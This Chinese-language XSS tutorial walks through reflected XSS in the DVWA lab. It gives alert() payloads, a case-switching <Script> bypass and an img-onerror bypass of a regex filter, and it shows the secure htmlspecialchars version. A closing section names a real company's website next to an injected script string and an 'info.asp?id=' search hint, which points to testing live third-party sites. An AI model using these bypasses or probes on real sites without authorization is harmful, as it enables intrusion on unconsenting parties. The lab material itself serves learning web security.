漏洞原理XSS漏洞
1 反射型XSS
php基础链接
Web渗透编程语言基础-CSDN博客
正常思维
http://127.0.0.1/websec/day01/xss_reflect.php?name=%E6%88%91%E6%98%AF%E8%B0%81
http://127.0.0.1/14_WEBSEC/DAY01/xss_reflect.php?name=我是谁
黑客思维
http://127.0.0.1/websec/day01/xss_reflect.php?name=%3Cscript%3Ealert(1)%3C/script%3E
1.黑客利用服务器上的XSS漏洞,构造恶意的链接,发送给受害者,引诱受害者点击这个链接。
2.受害者点击该链接,向服务器发送包含恶意js代码的请求。
3.服务器接收受害发送的请求,没有对参数做检查和过滤,直接将恶意的js代码响应给受害者。
4.受害者收到服务器响应回来的恶意的js代码,并由浏览器解析执行,受到攻击!
打开DVWA靶场测试
一 DVWA low 级别的靶场
二 DVWA 中级难度
换种思维方式 我使用的是Script切换大小写
- <Script>alert("我是黑客")</Script>
- <Script>window.alert("我是黑客")</Script>
- <Script>confirm("Hello你好 我是黑客")</Script>
三 高级难度
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
我使用 <img src=1 onerror=alert(1)> 标签破解的
四 最难模式
分析代码找到解决方案
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
总结
1.黑客利用服务器上的XSS漏洞,构造恶意的链接,发送给受害者,引诱受害者点击这个链接。
2.受害者点击该链接,向服务器发送包含恶意js代码的请求。
3.服务器接收受害发送的请求,没有对参数做检查和过滤,直接将恶意的js代码响应给受害者。
4.受害者收到服务器响应回来的恶意的js代码,并由浏览器解析执行,受到攻击!
实战操作 找漏洞
搜索结果" <Script>alert("我是黑客")</Script>" >> 西安夏溪电子科技有限公司 (xiatech.com.cn)
从0到1学习XSS(最全最细致的攻防实战) - 知乎 (zhihu.com)
info.asp?id=